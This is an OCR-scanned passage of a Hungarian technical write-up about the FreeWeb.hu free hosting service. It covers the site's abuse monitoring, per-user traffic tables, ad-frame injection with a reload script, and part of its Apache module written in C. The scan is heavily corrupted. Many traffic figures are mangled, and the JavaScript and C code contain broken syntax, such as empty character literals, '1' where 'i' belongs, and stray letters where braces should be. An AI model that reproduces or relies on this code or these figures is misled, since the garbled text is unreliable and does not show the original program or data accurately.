programozom, amikor kiejtettem a szamon ezt a szo6t, hogy ebbe a modulba bele kellene nyulni, hogy
valamit megoldjunk, mar a szdr felallt a hatan és menekiilére fogta a dolgot. Elérkezett tehat az id6, hogy
likvidaljuk. A feladatait sok mas 0j dologgal egylitt egy webszerver (apache) modul vette at, mely ezaltal
a rendszer részeként dolgozta fel az egyes beérkezd kéréseket és szolgalta ki a megfeleld tartalmat.

Ennek a modulnak a segitségével tudtuk megoldani a reklammentességet, a domain nevek kiszolgalasat, a
keres6 robotoknak a frameset nélkiili tartalom biztositast, a tobb disk tombre, majd tobb szerverre torténd
terhelés elosztast, a kiilfoldi / belfoldi latogatdk eltérd jogainak kezelését, stb.

A legtobb védelmi mechanizmust duplikaltuk, azaz két egymastol fliggetlen, mas eljarast hasznalé rutin
figyelte a rosszalkoddkat. Tobbek kozott ilyen volt a futasidé korlat is. A felhasznaléi programok, hogy
ne tudjak tulterhelni a rendszert a php max exec time paramétere alapjan 5 méasodperc mulva ki kellett
Iépjenek. Természetesen volt olyan eset, amikor ezt nem tette meg, ezekre a programokra figyelt egy fél
percenként futd alkalmazds, ami a nem rendszerprogramokat ellendrizte és ha tal hossza ideje futott
(tobb, mint fél perc) akkor leéllitotta azt. Hasonldan figyeltiink az ingyenes adatbazis szerverre is. Ott is
meghatarozott limit volt a lekérdezések €s egyéb adatbdzis miiveletek szamdara vonatkozdan, de ha egy
rosszul Osszeallitott parancs til sokdig szeretett volna futni és ezaltal foglalni masok eldl a szlikds és
draga er6forrasokat akkor itt egy gondoskodott egy program arrél, hogy ezt 15 mésodpercnél tovabb ne
tegye. Ezen programoknak koszonhetden a rendszer szinte minden tdmadasbol vagy véletlen
programozasi hibabol eredd tulterhelésnek ellenallt emberi beavatkozés nélkiil. Ha valamiért az egyik gép
terheltsége mégis egy kritikus szint folé emelkedett volna, a rendszerek SMS-ben figyelmeztettek minket
a problémarol, igy 5 percen beliil megkezdhettiik a probléma elharitasat.

A felhasznalok altal elhelyezett tartalmat szintén egy program figyeli. Mivel az adatok feltdltése kizarolag
FTP-n keresztiil lehetséges (a webrdl felhelyezhetd allomanyok mérete igen alacsonyra lett korlatozva
illetve a futdsidé limit miatt sem lehet nagy allomdnyokat weben feltenni) elegendé volt az FTP
programra ,raiiltetni” egy kis ellen6rzé rutint. Ez sok tévhittel szemben nem csupan az alloméanyok
kiterjesztését figyelte, hanem belenézett a feltoltott adatokba is. Minden szabalyos file elején egy
azonosito fejléc talalhato, ami linux alatt egy file parancs segitségével konnyedén kiolvashatd és valami
ilyesmi eredményt kapunk: ,,JPEG image data, JFIF standard 1.01”

Ezen informaciot minden egyes allomany tipusrdl begytjtottilk és a megfeleld részeket felhasznaltuk
azonositasra. Egy tablazat alapjan meg volt hatdrozva, mely allomany tipushoz milyen azonositd és
milyen Kkiterjesztés kell tartozzon €s az adott tipusbol mekkora a maximalisan elhelyezhetd méret.
Amennyiben ezen feltételeknek nem felelt meg az aktudlisan feltoltott alloméany, a rendszer azonnal
eltavolitotta azt.



A FreeWeb egyetlen ismert és mai napig automata megoldas nélkiil hagyott sebezhetdsége az allomany
méret korlatozast végzi, mégpedig az, hogy a tomoritett allomanyokra megadott korlat 1 allomanyra
vonatkozik. Arra figyel a rendszer, hogy pl. a valami.rar mellé ne lehessen a valami.r01 illetve valami.r02
allomanyokat is elhelyezni (ezeket azonnal torli), arra viszont nincs felkészitve, ha a valami allomanyt
valami.partOl.rar, valami.part02.rar 6nallé tomoritett allomanyokként helyezziik el. Ezen problémat
attételesen a forgalom figyeld megoldotta, mivel ha ezen adatokat valaki letdltotte akkor az az
adatforgalomban megjelent és igy ki lehetett szarni a renitens felhasznalot. A masik megoldas a teljes
tartalom iddszakos atvizsgalasa volt, melyet az éltala okozott iszonyatos terhelés miatt minden esetben a
mentés szerveren végeztiink el. Ilyenkor megkerestiik az 0sszes, a szerveren tarolt allomany koziil azokat,
melyekre az ilyen tordeléses kinézet megfelelt (pl.: part.*rar). Ezeket utdna manudlisan végignéztiik és a
problémas oldalakat felhasznaldit eltavolitottuk.

Hasonldan a nem kivant adattarolasok elkeriilése érdekében egy program minden hajnalban belenézett a
felhasznalok fokonyvtaraba és ellendrizte, 1étezik-e index.html vagy index.php vagy index.cgi (illetve
htm, .php3, stb) Ha Ilétezik, semmi gond. Ha nem Iétezik, de az adott kdnyvtar nem iires, egy
figyelmeztetd levelet kap az adott oldal készitdje, melyben a rendszer 3 nap haladékot ad a probléma
orvoslasara. Ha 3 nap mulva a rendszer ugyancsak észleli a szabalyok megsértését, az oldal torlésre kertil
illetve azon felhasznalok esetében, melyek valamilyen fizetds szolgaltatast vesznek igénybe (pl.: domain
név), a felhasznaldé maga nem torlddik, csupan a konyvtar adattartalma. Igy elkeriilhetd az az igencsak
kellemetlen helyzet, hogy egy domain név alatt masik személy altal készitett masik tartalom jelenjen meg.

Ahogy azt mar emlitettem, a latogatdk altal generdlt adatforgalmat folyamatosan elemzi egy szerver
annak megfeleléen, hogy milyen adatot €s milyen mddon toltenek le. A milyen adat itt lehet szoveges,
kép vagy valami egyéb adat, pl.: zene, film, program, stb. A milyen médon pedig arra utal, hogy az adott
tartalomra mutat6 hivatkozas hol szerepel. Ha a felhasznal6 sajat freewebes oldalan, akkor a bongészo ezt
a referert kildi el a szervernek, ha mas, kiils6 szerveren tarolt weboldalon, akkor annak az oldalnak a
hivatkozasat fogjuk megkapni. Ebbdl a hivatkozasbol visszanyerheté a domain név, ami a cimben
talalhatd, abbol pedig kideriil, hogy kihez tartozik. Ha olyan domain név, mely a freeweb szerverre vagy
mas egyéb sajat szolgaltatasra mutat, akkor azt sajat referernek mindsitjiik, minden egyebet idegennek.
Van egy harmadik eset is, amikor semmiféle referer adatot nem kap a szerver. Ez két mdédon fordulhat
eld. Az egyik, ha a latogato olyan tlizfal programot haszndl, mely ezen informacid kiildését blokkolja, a
masik pedig hogy a cim e-mailben, stb. érkezett és masoldssal vagy egyszerti kliens alapti, nem webmail
levelezdben torténd rakattintassal keriilt a bongészdbe.

Ezeket az informdcidkat folyamatosan gytijtotte a szerver és rendszeresen emberi beavatkozassal lett
kiértékelve. Sajnos ezen feladat automatizdldsa meglehetésen sok mesterséges intelligencia

leprogramozasat vette volna igénybe, igy erre nem kertilt sor.

A rendszer adminisztracios feliiletén két statisztikat néztlink rendszeresen. Az elsé a szerver teljes,
Osszesitett forgalma felhasznalonként, a masodik az idegen refererrel érkezd kérések.

Egy ilyen tablazat a kovetkezOképp nézett ki:



username forgalom mai latogatéd osszes latogatd
clubjamaica 40,022 MB 785 554574
fsv 36,655 MB 705 41861
pinacska 29,878 MB 1944 573568
dhaka 22,6058 MB 987 114651
tube 15.789 MB 3 10878
golyoallok 10,147 MB 131 434724
dugjmeg 2,649 MB 3797 1559675
boutifulsex 9027 MB 711 39744
olderwomen 9.396 MB 1496 18385125
brutalvideos 3.456 MB 482 1565599
szexcentrum 7269 MB 1675 3333055
charmedportal 6.528 MB 593 EE69857
digidugi-hu 5.587 MB 10z 23380
emulegay 5436 MB 523 36774
humorbomba 5419 MB za4 ZEE6T0
amateurssex 4. 733 MB 1328 677491
szexpartner 4.108 MB F7a 1868156
nitrol 4,050 MB 459 385226
bizar <4.003 MB 1045 756969
streetlegs 3.960 MB 295 330644
popsi 3.850 MB 637 2562227
bpgavboy 3.596 MB 152 511280
arzenZi 3.5589 MB z1z0 BEE7I4E
fgab 3.551 MB 298 227055
forroajkak 3.356 MB 231 f3775
bbmb 3.281 MB 394 392764
glasshouse 3207 MB 436 I70E53
sp22 3166 MB g 54393
senylegsinaction 3.141 MB a7 1446
policecars 3.063 MB 168 197524
punkportal 2,943 MB &5 175762
szexkepeim 2.861 MB 484 24207
familypictures 2772 MB 148 26G411
bigass 2,740 MB 1258 2163938
private-pantyhose 2.627 MB 406 qz099
homepornvideos 2,590 MB 1358 235364
antropos 2.515 MB 602 933541
telenovelas 2455 MB 1830 2075966
arterotika 2,370 MB a9 980313
loconet 2.281 MB 139 423991
regifoto 2,182 MB ins 28346
csajok-hu 2,135 MB 461 263293
aniel 2,073 MB 173 1172560
abikk 2.071 MB 10z 143842
szoroslanyok 2,006 MB 679 G4E83T72
Ibn11 1,928 MB 215 925530
gJAayHXH 1.927 MB 7z o700
filmborito 1.914 MB 1066 753100
hqg 1.584 MB 40z 530615
widery 1.524 MB 596 1455344

Teljes adatforgalom



username forgalom mai latogatd dsszes latogatd
szexcentrum 1.737 MB 1675 33335055
sp22 1.205 MB g 54393
aniel 1.159 MB 173 1172580
jtamas82 751 MB 17a 167&0
aftershockhun 571 MB el 7ave
halmosl 552 MB o 577
bloombox 533 MB 73 7Taz
bpgayboy 516 MBE 152 511280
nitrol 431 MB 459 385226
astrojan 426 MB 234 103599
tothmc 403 MB 354 11730
nyulfarok 396 MB 529 278591
telenovelas 377 MB 1580 2075966
alagnetwork 361 MB 2 2473
abikk 299 MB 10z 143542
kamionszim 292 MB 53 104526
wrc-hun £33 MB 172 711350
szuletett-felesegek 273 MB a1 104710
regifoto 264 MB 105 28346
private-pantyhose 255 MB 405 9z099
brutalvideos 254 MB 482 1565599
vistudio 245 MB 5 358
nfcmultimedia 245 MB o 26
hocktamas 229 MB a9 64724
rubikkocka 221 MB &0 8902z
holgyekurak 218 MB 166 165171
ajolie 192 MB < 8330
silverlion 183 MB a 76
Zaxxon 151 MB 1z 30737
bigass 130 MB 1258 2163938
lesbian 175 MB 109 210851
tanmarkaussies 168 MB 35 11011
dugjmeq 160 MB 3797 1559575
feetel07 141 MB a 52
punkportal 140 MB a5 175762
olderwomen 140 MB 1496 1385125
laikus 135 MB a 435
hqg 137 MB 402 530615
bullstar 136 MB 69 24392
SZErosZ 130 MB 2 1747
mocisoft 130 MB 43 597459
orgia 129 MB g9 372339
popsi 125 MB B3Z Z9BZEET
web333 120 MB 32z 415991
autosim 115 MB z0 20669
maracska 118 MB 1 1970
erettholgyek 115 MB 18 16892
piciici 113 MB 1 4823
motivalo-idezetek 105 MB z 15
practicmedia 102 MB z9 32382

Idegen refererrel érkezé forgalom

Ha megnézziikk a két tablazatban szerepld felhasznélokat, a jelentds eltéréseket kell keresni. A teljes
forgalmat mutatd adatlapon egybdl kiugrik a tube, az sp22, és a gayxxx felhasznalo, akik igen alacsony
latogatdszdm mellett nem kevés forgalmat generaltak. Ezek koziil a tube azonnali torlésre keriilne, a
masik két felhasznal6 oldala pedig egy vizsgalat targyat képezné.

A masodik tablazatban szerepld felhasznalok kozott mar tobb a renitens. Mindjart itt az elsé a
szexcentrum, aki csak azért nem keriilne torlésre, mert szép szamu latogatot hoz, igy a még megtiirt
hataron beliil van (ez az a rész, amit nehéz lenne leprogramozni €s egyértelmiien definialni, hogy mi az a
hatar). Az sp22 itt is szerepel, igy normalis esetben 6 is torlésre keriilne, &m az oldal rendelkezik domain
névvel, igy megint csak az eldbbi kategdridba esik. Manualis megtekintést igényel az aftershockhun lap
is, ahol Osszesen 9 latogat6 jart, de az adatai elég szépen mentek mas szervereken keresztiil kifelé. Ennél
egyszeriibb a helyzet a halmosl felhasznalonal ahol nulla latogatd volt képes tobb, mint fél gigabyte
adatot letolteni a tarhelyrdl idegen refererrel, igy ezen felhaszndld azonnal torlésre keriilne. A fenti
szempontok figyelembevételével néztiikk at napi / heti rendszerességgel a listakat és toroltiik a nem
megfeleld oldalakat.
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Hogyan is mikodott a kiszolgalas ?

Az egyszeri felhasznald, aki il a szamitoégépe eldtt valamilyen indittatds folytan beirja a bongészdjébe
egy FreeWebes oldal cimét, vagy egy ilyen linkre kattint. Ekkor az internet kapcsolatdnal beallitott
névszerverek segitségével megallapitja annak a szervernek az IP cimét, ahova ezt a kérést el kell kiildeni.
Mivel http kérésrdl van szo6, a megfeleld IP-n 1évd gép 80-as portjan figyeld alkalmazas fogadja a kérést.
Ez a mi esetiinkben egy apache webszerver. A kérés eljut az altalunk irt alkalmazashoz, mely sok sok
apro jellemzd alapjan donti el, mit kell csindlnia ezzel a kéréssel.

Eldszor is a beérkezett url-b6l megallapitja a domain nevet. Ha ez freeweb.hu vagy fw.hu akkor utana a
felhasznaloi nevet és az elérési utat allitja 6ssze. Ha nem freeweb vagy fw akkor adatbazis alapjan donti
el, az adott domain név mely felhasznalohoz van hozzarendelve. Ebbdl adodik, hogy a domain nevek
kezelése nem a hagyomanyos virtual host megoldassal van kezelve hanem egy program segitségével.
Minden domain ugyanoda mutat. Tehat ismert a felhasznéld, ismert az utvonal. Ha nincs allomany
hivatkozas akkor index.php, .cgi, .htm, .html keresésére keriil sor, ha van, akkor tudjuk, mit kell
kiszolgélni. Illetve azt tudjuk, hogy a latogaté mit szeretne, de nem biztos, hogy azt fogja kapni. Ha
ugyanis nincs a user agent alapjan egy robotrol van sz, azaz egy kereso szeretné az adatbazisat bovitent,
frissiteni akkor neki mindenképpen a tartalmat kell kiszolgdlni. Ha latogatd nézi az oldalt akkor el kell
donteni, van-e neki mar reklam frame-je. Ha nincs akkor eldbb azt kell kiszolgélni és csak a user frame-
be kell beletenni azt, amit O eredetileg kért.

<html>

<head>

<title>teszt</title>

<meta name="Description' content=""teszt, teszt">
</head>

<frameset border="3" frameborder="1" framespacing="0" rows="65,*">
<frameset border="0" frameborder="0" framespacing="0" cols="0,*">

<frame src="http://www.freeweb.hu/html/audit.html" marginheight="0"
marginwidth="0" noresize name="audit"™ scrolling="no'>
<frame src="http://www.freeweb._hu/html/logo_13._html" marginheight="0"
marginwidth="0" noresize name="logo" scrolling="no">
</frameset>

<frame src="http://www.freeweb.hu/teszt/index.html" noresize name="user''>
</frameset>
<noframes></noframes>
</html>

freeweb frameset

Ha ez utobbi eldontése nem sikeriilt akkor egy masodik 1épcsés triikkk 1ép életbe. A webszerver minden
html allomany elejére beilleszt egy javascript kodot, ami ellendrzi, hogy létezik-e a rekldm frame.



Domain regisztrdcio és minoségi webtdrhely egy helyen: http://www.swi.hu

<l

function reload() {
top.frames["audit"].location.reload();

}

function popup() {
if (navigator.appName=="Microsoft Internet Explorer" && parselnt(navigator.appVersion)>=4) {
loc=new String(top.document.location);
loc=loc.replace(/www\.fw\.hu\/gi,"www.freeweb.hu/");

top.document.location=loc.replace(/www\.freeweb\.hu([*V]*)V/(["V]+H)V(.*)/gi,"$2.freeweb.hu$ 1/$3");

b
}

if (top.frames["audit"] && top.frames["user"])
window.onunload=reload;

if (!(top.frames["audit"] && top.frames|["user"]))
window.onload=popup;

I -->

reload.js

Ha igen akkor semmi tennivaldja. Ha nem, akkor ujratdlteti az oldalt ugy, hogy a rendszer érzékelje, hogy
most a reklam keretet is ki kell tennie.

Az sem mindegy, hogy milyen reklam keretet tesz ki a program, tekintettel arra, hogy a felhasznaloknak
lehetdsége van reklammentességet kérni. Ekkor a gép a framesetet ugyantugy legeneralja, csupan a reklam
frame-et hagyja ki. Erre azért van sziikség, mert ugyanebbe a keret rendszerbe talalhaté az a 0 méretii
keret is, amiben a median és mas mérdkodok el lettek helyezve. Amikor a felhasznéloi oldalon valami
valtozés torténik, pl. a latogatd rakattintott egy linkre és egy aloldal jelenik meg a kordbban beillesztett
javascript ujratolti ezt a lathatatlan keretet és ezzel jelzi az auditor rendszer fel¢, hogy 10j lapletoltés
tortént. Ezt korabban ugy szerettiik volna megoldani, hogy a median kodot épitjiik be minden html-be, de
a szolgaltatd cég kifogésolta, hogy amennyiben egy frame-s oldalt készit valaki akkor abban tobb
mérdkad is szerepelne és ezzel meghamisitand a mérést.

A frame struktira tovabbi eldnye a domain nevek kezelésénél jelenik meg. A rendszer ugyanis ahogy
korabban mar emlitettem igazabol nem kezel domain neveket. Neki minden név egyforma és ugyanoda
mutat. A kiszolgalas sordn ugyanis a user frame-be mar nem domain neves hivatkozas keriil hanem egy
www.freeweb.hu/felhasznélonév/allomanynév. Igy a valodi kiszolgalasnal ezek az oldalak mar semmiben
sem kiilonboznek egy egyszerli freewebes oldaltol.



http://www.freeweb.hu/felhaszn�l�n�v/�llom�nyn�v

A FreeWeb rendszer egyik legnagyobb probléméja az volt, hogy egy gépen szerettiink volna megoldani
mindent ami a felhasznéldi oldalak kiszolgalasaval kapcsolatos. Ennek legfobb oka a cgi futtatds és a
hozza kapcsolodo valddi rendszer felhasznald megléte. Egy id6 utan viszont eljutottunk oda, hogy a tobb
millios gép is kevésnek bizonyult alatta és valamit 1épni kellett. Az egyetlen helyes irdny a tobb gépre
torténd szétbontas lehetett. Szerencsére a webszerver modul amit készitettiink egy kis okitds utan
megtanulta, hogy egy meghatarozott felhasznal6 melyik disk tombon van, igy egy szerveren beliil két
fliggetlen tombre mar szét tudtuk szedni a tartalmat, majd egy proxy modullal 6tvozve elkésziilt egy
olyan alkalmazas, mely a valodi kiszolgald webszerverek elétt helyezkedett el, O szolgalta ki a reklam
frame-eket, majd a hattérbe lekérte a megfeleld szervertdl a valddi tartalmat. Ezzel a kiszolgald gépeket
duplazni tudtuk, igy két igen erds szerver gépenként két 1-1 terabyte-os scsi tombbel szolgalta ki a
felhasznaloi kéréseket.

A kovetkezd ilyen probléma a nemzetkézi irdnyu savszélesség volt. Egy ingyenes szolgaltatas
gyakorlatilag korlatlan mennyiségben képes felemészteni a nemzetkozi savszélességet, ami pedig igen
sokba keriil. Erre a fenti megoldas tovabbgondolasa adott megoldast mégpedig tigy, hogy a proxy gépet is
lemasoltuk és elhelyeztik egy olyan internet szolgéltatonal akirél koztudott volt, hogy jelentds
nemzetkozi savszélességgel rendelkezik és mostandban nem szandékozik korlatozni az iigyfeleket. A
felhasznaloi kérések innentdl hol az egyik, hol pedig a masik gépre pottyantak be és keriiltek
kiszolgalasra egyszerti DNS round robin eljarasnak koszonhet6en.

Az egész freeweb oldal kiszolgaldsnak ez a C-ben irt modul a lelke illetve ennek egy moddositott
példanya, mely a proxy gépen fut és tovabbitja a kéréseket a kiszolgald gépek felé. Természetesen ez a
forraskod nem teljes, kizarolag oktatd célzattal keriil kozzétételre azok szamara, akik webszerver modul
irasara adtak a fejiiket.

#include <syslog.h>
#include "httpd.h"

#include "http core.h"
#include "http _request.h"

#include "http _config.h"
#include "http protocol.h"
#include "http _log.h"
#include "ap config.h"

#include <postgresql/libpg-fe.h>

#include "mod_fw.h"
#include "main.h"

#include "fwutils.h"
#include "utils.h"

#include "frameset.h"
#include "errordocument.h"

#ifdef PHP

#ifdef HAVE _CONFIG H
#include "config.h"

#endif

#include "php.h"

#include "php_ini.h"
#endif



PGconn *pg=NULL;
shared t *shared;

static void fw_openlog(void) {
openlog("fwmodule", LOG_CONS|LOG PID|ILOG NDELAY, LOG_USER);
return;

}

static void fw_closelog(void) {
closelog();
return;

}

static void fw_cleanup handler(void) {

if (pg) {
PQfinish(pg);
pg=NULL;

b

return;

}

static void fw_init(server_rec *s, pool *p) {

// ap_add version component("mod fw/"VERSION);
ap_block alarms();
ap_register _cleanup(p,(void *)s,(void *) fw_cleanup handler,ap _null cleanup);
shared create();
ap_register cleanup(p,NULL,(void *)shared destroy,ap null cleanup);
ap_unblock alarms();

}

static const char *fwmodule enable (cmd parms *cmd,void *config,int flag) {
fw_conf *cfg=(fw_conf *) config;
cfg->enabled=flag;
return NULL;

}

static const char *fwmodule basepath(cmd parms *cmd,void *config,const char *argl, const char *arg2)
{
fw_conf *cfg=(fw_conf *) config;
regex_t *regexp;
userhomemap t *uhm;
regexp=ap_pregcomp(cmd->pool,argl REG ICASE);
if (regexp!=NULL) {
uhm=ap_pcalloc(cmd->pool,sizeof(userhomemap t));
uhm->regexp=regexp;
uhm->basepath=ap_pstrdup(cmd->pool,arg2);
*(void **) ap_push_array(cfg->uhm)=uhm;
} else {
fprintf(stderr,"mod_fw: can't compile regexp: [%s]",argl);
exit(-1);
b
return NULL;
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}

static const char *fwmodule conninfo(cmd parms *cmd,void *config,const char *arg) {
fw_conf *cfg=(fw_conf *) config;
cfg->conninfo=ap_pstrdup(cmd->pool,arg);
return NULL;

}

static const char *fwmodule errordocument(cmd parms *cmd,void *config,const char *one,const char
*two) {

fw_conf *cfg=(fw_conf *) config;

ap_table add(cfg->errordocuments,one,two);

return NULL;

}

static const char *fwmodule directoryindex(cmd parms *cmd,void *config,const char *arg) {
fw_conf *cfg=(fw_conf *) config;
while (*arg)
*(char **)ap push_array(cfg->directoryindexes)=ap getword white(cmd->pool,&arg);
return NULL;

}

static const char *fwmodule noframeset ct(cmd parms *cmd, void *config,const char *arg) {
fw_conf *cfg=(fw_conf *) config;
*(char **) ap _push_array(cfg->noframeset ct)=ap pstrdup(cmd->pool,arg);
return NULL;

}

static const char *fwmodule noframeset ua(cmd parms *cmd, void *config,const char *arg) {
fw_conf *cfg=(fw_conf *) config;
*(void **) ap_push_array(cfg->noframeset ua)=ap pregcomp(cmd->pool,arg, REG ICASE);
return NULL;

}

static const char *fwmodule_trafficignore ct(cmd parms *cmd, void *config,const char *arg) {
fw_conf *cfg=(fw_conf *) config;
*(char **) ap _push_array(cfg->trafficignore ct)=ap pstrdup(cmd->pool,arg);
return NULL;

}

static const command rec fw_commands[] = {

{"FWModule",fwmodule enable, NULL,OR ALL,FLAG,"Turning on or off the module"},

{"FWUserHome",fwmodule basepath, NULL,OR ALL,TAKE2,"Map for user->homedir translation"},

{"FWConnectionInfo",fwmodule conninfo,NULL,OR ALL,TAKEI1,"Database connection
information"},

{"FWErrorDocument",fwmodule errordocument, NULL,OR ALL,TAKE2,"Defines the ErrorDocument
filenames"},

{"FWDirectoryIndex",fwmodule directoryindex, NULL,OR ALL,RAW _ARGS,"Defines the
DirectoryIndex filenames"},

{"FWNoFramesetCT",fwmodule noframeset ct, NULL,OR ALL,ITERATE,"No frameset for these
content types"},

{"FWNoFramesetUA",fwmodule noframeset ua, NULL,OR ALL,ITERATE,"No frameset for these
user agents"},



{"FWTrafficlgnoreCT",fwmodule trafficignore ct, NULL,OR ALL,ITERATE,"Ignore these content
types while counting traffic"},

{NULL,NULL,NULL,0,0,NULL}

s

static const char *fwdomains[] = {
"freeweb.hu",
"fw.hu",

NULL

¥

static void *create_dir_config(pool *p, char *dir) {
fw_conf *cfg=ap pcalloc(p,sizeof(fw_conf));
cfg->dir=ap_pstrdup(p,dir);
cfg->enabled=0;
cfg->conninfo=NULL;
cfg->errordocuments=ap_make table(p,5);
cfg->directoryindexes=ap _make array(p,5,sizeof(char *));
cfg->noframeset ct=ap make array(p,3,sizeof(char *));
cfg->noframeset ua=ap make array(p,5,sizeof(void *));
cfg->trafficignore ct=ap make array(p,5,sizeof(char *));
cfg->uhm=ap make array(p,2,sizeof(void *));
return (void *) cfg;

}

static void *merge dir_config(pool *p, void *origin, void *new) {
fw_conf *cfg=ap pcalloc(p,sizeof(fw_conf));

/I fw_conf *cfg origin=(fw_conf *)origin;
fw_conf *cfg_new=(fw_conf *)new;
cfg->dir=ap pstrdup(p,cfg new->dir);
cfg->enabled=cfg new->enabled;
cfg->conninfo=cfg_new->conninfo;
cfg->errordocuments=cfg_new->errordocuments;
cfg->directoryindexes=cfg new->directoryindexes;
cfg->noframeset ct=cfg_new->noframeset ct;
cfg->noframeset ua=cfg new->noframeset ua;
cfg->trafficignore ct=cfg new->trafficignore ct;
cfg->uhm=cfg_new->uhm;
return (void *) cfg;

}

static int table log(void *data, const char *key, const char *val) {
request_rec *r=(request_rec *)data;
fwmodule log debug("table key/value: [%s]/[%s]" key,val);
return TRUE;

}

static int fw_translate(request rec *r) {
fw_conf *cfg=ap get module config(r->per dir config,&fw_module);
char *basehostname=NULL,*userhome=NULL,*tmp;
const char *hostname, *username;
array header *hostname array=NULL,*uri_array=NULL;
char **hostname array elements=NULL,**uri_array elements=NULL,;



char wwwfwhu,fwhu;

int i,ret;

struct stat sbuf;

char **directoryindexes elements;
char *newurl;

if (!cfg->enabled)
return DECLINED;

fwmodule log debug("--- fw_translate kezdodik ---");

hostname=ap_table get(r->headers in,"X-FW-OriginalHostname");
username=ap_table get(r->headers_in,"X-FW-Username");

fwmodule log info("<- [%s][%s]",hostname,r->uri);

if (r->uri[0]!="") {
fwmodule log emerg("invalid uri: [%s]",r->uri);
return BAD REQUEST;

}

if ( (hostname==NULL) || (username==NULL) ) {
fwmodule log emerg("hostname: [%s], username: [%s], ez igy nemjo",hostname,username);
ap_table setn(r->headers_out,"Location","http://freeweb.hu");
fwmodule log info("-> REDIRECT: [http://freeweb.hu]");
return REDIRECT;

}

if ((hostname_array=split into reverse array(r,hostname,'."))==NULL) {
fwmodule log err("hostname array=NULL!");
return SERVER ERROR;

b

ap_table setn(r->notes,"fw-hostname array",(char *)hostname array);

if (hostname_array->nelts<2) {
fwmodule log err("hostname array->nelts <2");
return SERVER ERROR;

}

hostname array elements=(char **)hostname_array->elts;

if ((uri_array=split_into_array(r,r->uri,/'))==NULL) {
fwmodule log err("uri array=NULL!");
return SERVER ERROR;

}

ap_table setn(r->notes,"fw-uri_array",(char *)uri_array);
uri_array elements=(char **)uri_array->elts;

if ((basehostname=getbasehostname(r,hostname array))==NULL) {
fwmodule log err("basehostname=NULL!");
return SERVER ERROR;

b

ap_table setn(r->notes,"fw-basehostname",basehostname);



fwhu=in_array(fwdomains,basehostname);
if (
fwhu &&
(hostname_array->nelts>2) && (
(strcmp(hostname array elements[2],"www")==0) ||
// for compatibility:
(strcmp(hostname _array elements[2],"www1")==0) ||
(strcmp(hostname array elements[2],"www2'")==0)

)
)

wwwiwhu=1;
} else {
wwwfwhu=0;

}

fwmodule log debug("username: [%s]",username);
if (strlen(username)<2) {
fwmodule log debug("username hossza <2");
fwmodule log info("->404");
r->content_type="text/html";
r->no_cache=0;
ap_table setn(r->headers out,"X-Powered-By",VERSIONSTRING);
ap_send_http header(r);
errordocument_nouser(r,username);
return DONE;
}

ap_table setn(r->notes,"fw-username",username);

userhome=getuserhomepath(r,username);
ap_table setn(r->notes,"fw-userhome",userhome);
fwmodule log debug("userhome: [%s]",userhome);

if (wwwfwhu) {
r->filename=ap_pstrdup(r->pool,userhome);
for (i=1;i<uri_array->nelts;i++)
r->filename=ap_pstrcat(r->pool,r->filename,"/",uri_array elements[i], NULL);
} else {
r->filename=ap_pstrdup(r->pool,userhome);
// konyvtarak a hostname-bol
if (strcmp(hostname array elements[hostname_array->nelts-1],"www'")==0)
hostname_array->nelts--;
if (fwhu) // username.fw.hu
1=3;
else // domain.tld
1=2;
for (;i<hostname array->nelts;i++)
r->filename=ap_pstrcat(r->pool,r->filename,"/",hostname_array elements[i],NULL);
// konyvtarak/file az uribol
for (i=0;i<uri_array->nelts;i++)
r->filename=ap_pstrcat(r->pool,r->filename,"/",uri_array elements[i], NULL);

}



fwmodule log debug("filename: [%s]",r->filename);

if (stat(r->filename,&sbuf)==-1) {
// userhome!!!!
if (stat(userhome,&sbuf)==-1) {
// nincs ilyen userhome se
fwmodule log debug("nincs ilyen userhome: [%s]",userhome);
fwmodule log info("->404");
r->content_type="text/html";
r->no_cache=1;
ap_table setn(r->headers out,"X-Powered-By",VERSIONSTRING);
ap_send_http header(r);
errordocument_nouser(r,username);
return DONE;
b
// nincs ilyen file
fwmodule log debug("nincs ilyen file/konyvtar: [%s]",r->filename);
fwmodule log info("->404");
r->content_type="text/html";
r->no_cache=1;
ap_table setn(r->headers out,"X-Powered-By",VERSIONSTRING);
ap_send_http header(r);
errordocument nofile(r,r->uri);
return DONE;
} else if (S_ISDIR(sbuf.st_ mode)) {
if (r->uri[strlen(r->uri)-1]!="") {
//'ha nem / -re vegzodik, akkor redirekteljuk
fwmodule log debug("letezo konyvtar, de az uri nem / -re vegzodik");
r->content_type="text/html";
r->no_cache=1;
ap_table setn(r->headers out,"X-Powered-By",VERSIONSTRING);
newurl=ap pstrcat(r->pool,"http://" ,hostname,r->ur1,"/",NULL);
if (r->args)
newurl=ap pstrcat(r->pool,newurl,"?",r->args, NULL);
ap_table setn(r->headers out,"Location",newurl);
fwmodule log info("-> REDIRECT: [%s]",newurl);
return REDIRECT;
} else {
// van ilyen nevu konyvtar, keressunk neki indexet
fwmodule log debug("letezo konyvtar, keresunk benne indexet");
ret=0;
directoryindexes_elements=(char **)cfg->directoryindexes->elts;
for (i=0;i<cfg->directoryindexes->nelts;i++) {
tmp=ap_pstrcat(r->pool,r->filename,"/",directoryindexes_elements|[i],NULL);
// ap_no2slash(newfilename);
if ((stat(tmp,&sbuf)==0) && S ISREG(sbuf.st mode)) {
fwmodule log debug("talalat: [%s]",tmp);
r->filename=tmp;
r->finfo=sbuf;
ap_table setn(r->notes,"fw-directoryindex",directoryindexes elements|[i]);
ret=1;
break;



h

if (Iret) {
fwmodule log debug("nincs talalat");
fwmodule log info("->404");
r->content_type="text/html";
r->no_cache=1;
ap_table setn(r->headers out,"X-Powered-By",VERSIONSTRING);
ap_send_http header(r);
errordocument nofile(r,r->uri);
return DONE;

}

fwmodule log debug("filename: [%s]",r->filename);
b
} else {
r->finfo=sbuf;
}

return OK;;

}

static int fw_fixup(request _rec *r) {
const char *basehostname,*username,*userhome, *directoryindex, *referer,*user _agent,*remotehost;
char *newurl, *newuri;
array header *hostname array,*uri_array;
char **hostname_array elements,**uri_array elements;
fw_conf *cfg=ap get module config(r->per dir config,&fw module);
int wwwfwhu=0,fwhu=0,ret,i,frameset=1;
int robot=0;
request_rec *subr;
fw_user fwuser;
char **noframeset ua=(char **)cfg->noframeset ua->elts;
char **noframeset ct=(char **)cfg->noframeset ct->elts;
#ifdef PHP
char *php basedir new;
#endif

if (!cfg->enabled)
return DECLINED;

if (lap_is_initial req(r))
return DECLINED;

if (r->handler && (strcmp(r->handler,"fw-info")==0))
return DECLINED;

fwmodule log debug("--- fixup kezdodik --- ");

if (ap_table get(r->notes,"fw-skiprequest"))
return DECLINED;

username=ap_table get(r->headers in,"X-FW-Username");

if (username==NULL) {
